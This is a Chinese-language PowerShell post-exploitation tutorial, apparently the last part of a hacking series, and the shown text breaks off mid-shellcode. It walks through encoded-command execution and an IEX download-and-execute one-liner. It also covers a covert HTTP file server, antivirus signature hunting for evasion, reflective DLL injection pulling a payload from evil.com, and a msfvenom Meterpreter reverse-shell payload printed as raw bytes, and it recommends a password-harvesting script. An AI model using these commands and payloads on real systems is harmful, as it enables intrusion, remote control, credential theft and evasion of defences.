Powershell攻击指南黑客后渗透之道系列——实战篇
传送门
Powershell(12)-实例使用场景
本篇为Powershell攻击指南——黑客后渗透之道系列最后一篇——实战篇,主要介绍的一些实用的利用方式与利用场景和一些实用工具。
在实际的渗透环境中我们利用Powershell的方式无非两种:
- 使用编码的方式对Powershell命令进行编码之后运行
- 远程下载Powershell代码之后直接运行
两种方式各有利弊,第一种比较方便直接编码即可执行,第二种需要到一台拥有公网IP的机器,那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例:
通过编码的方式执行
我们做一个最简单的例子:
使用编码的方式执行whoami
命令,我们首先使用下面的命令来进行编码
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
这串代码执行完之后就会打印出编码结果,之后直接执行即可powershell.exe -EncodedCommand $encodedCommand
完整过程如下:
搭建小型HTTP服务器
Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的,动静太大也较难搭建,而使用HTTP则没有这样的困难,也可以搭建在内网使用Powershell脚本的服务器。
那么很多人会说Python就好了啊,
-m SimpleHTTPServer
就好了,但是对于Windows操作系统并没有那么的Python环境供你使用,我们需要的是最少的操作做最多的事情,利用Windows自带的软件或文件是我们的最佳选择,所以Powershell是我们的不二之选
HTTPListener-API
那么搭建HTTP服务器也是调用了API,使用到了.Net的API—HttpListener,我们只需要像这样调用New-Object Net.HttpListener
那么我们就可以得到一个.Net对象,下面我们直接看看代码:
# This script will execute in background
start-job {
$p="c:\temp\"
# $p = Get-Location 可以获取当前用户的目录,如果这样使用后面的$p改为$p.path
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8889/")
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add("Content-Type","text/plain")
$file=Join-Path $p ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
那么代码也不长,直接运行就能在后台运行,Powershell会返回一个任务ID
如果我们需要停止这个HTTP,只需要Stop即可:
那么我们只需要修改我们的目录即可对相应的目录进行访问与下载,非常方便。
远程加载执行
直接看看命令: powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"
我们只需要在本地开一个Web服务,那么这就很好开了:通过Python或者其他的方式都可以,自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可,这样就可以下载并执行了。那么还可以和上面编码的方式并用,就能更好的执行了。
实例工具
下面推荐一些比较好的工具,类似Powersploit或者nishang有的内容就不提及了,就提几个经常使用的工具。
mimikittenz
第一个是mimikittenz这个脚本能够获取到用户级的密码,比如Deopbox,jira,Gmail等等,对于真实的渗透环境来说,需求还是挺大的,下面是这个脚本提供的运行截图。
BloodHound
链接 中文名猎犬,先说说能干嘛吧:内网信息域内关系与细节整理,这个工具也是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。
DeathStar
链接 中文名死星,一看名字就知道是个StarWar迷:),也能看出他的威力效果,下面是官方一张gif使用效果
这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。
开发工具
工欲善其事,必先利其器。这里提一下Ps的开发工具供大家选择。
ISE
那么最基础的是Ps的ISE,这个工具是自带的,通过下面的方式打开
打开的界面如下:
语法高亮,外加一个便于复制和粘贴操作的图形化控制台,可以说是非常的方便。
PowerShell Studio & Visual Studio
但如果你是一个需要更专业的开发环境,这款工具肯定能帮到你,官网在这里,简单看看他的一张截图:
可以看到软件是非常专业的,非常的方便编写与管理你的代码。
Visual Studio同意也能达到这样的效果,那么大家可以自行选择。
Powershell(13)-Framework
我们对于框架的介绍主要介绍Powersploit与Nishang,本来写了Empire的,可是在发布文章之前不久刚发了类似的文章,所以删去部分内容,如果需要学习Empire的朋友,可以去安全客搜索文章,当然还是推荐查看Empire的手册。下面开始介绍两个框架:
注:本篇篇幅可能过长,文字较多,可以在需要的时候直接打开文章搜索即可。
PowerSploit
AntivirusBypass
Find-AVSignature
寻找反病毒软件特征码,思路类似于二分法
参考
http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
示例 假设我们的远控文件偏移范围为0~10000
Find-AVSignature -StartByte 0 -EndByte 10000 -Interval 5000 -Path test.exe
这条命令将会把test.exe以5000字节作为块大小,分为两个有效部分。第一个部分偏移范围是05000,第二部分偏移为09999。之后我们可以分别使用杀软扫描这两个文件。不妨设第一个文件没有报毒,而第二个文件报毒了,那么我们就知道,特征码应该存在于偏移范围5001~9999字节内。
接下来我们重复同样的步骤:
Find-AVSignature -StartByte 5001 -EndByte 10000 -Interval 2500 -Path test.exe
再将得到的文件进行扫描,如此往复,直到定位出特征码。
CodeExecution
Invoke-DLLInjection
DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限
示例
Invoke-DLLInjection -ProcessID 1612 -dll test.dll
Invoke-ReflectivePEInjection
反射型注入,bypass AV的一把利器 个人认为反射型dll注入的精髓之一就在于能做到不在目标磁盘上留下文件,而这个脚本的一大缺陷便是不能远程加载dll/exe,因此要做到无文件就稍显麻烦。 好在已经有人写出了可以从服务器下载文件并注入的脚本。
需要注意的是,ForceASLR选项并不适用于所有dll/exe, 架构上也尽量做到相同。
下面均以加强版作示例。
示例 下载dll并注入到id为1320的进程中
Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 1320
强制使用ASLR
Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 1320 -ForceASLR
从本地加载dll并注入指定进程
Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320
向exe传参
Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320 -ExeArgs "arg1 arg2"
Invoke-Shellcode
向目标进程注入shellcode 依然需要注意shellcode架构的问题
示例 向powershell进程注入meterpreter
生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f powershell
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of powershell file: 1625 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0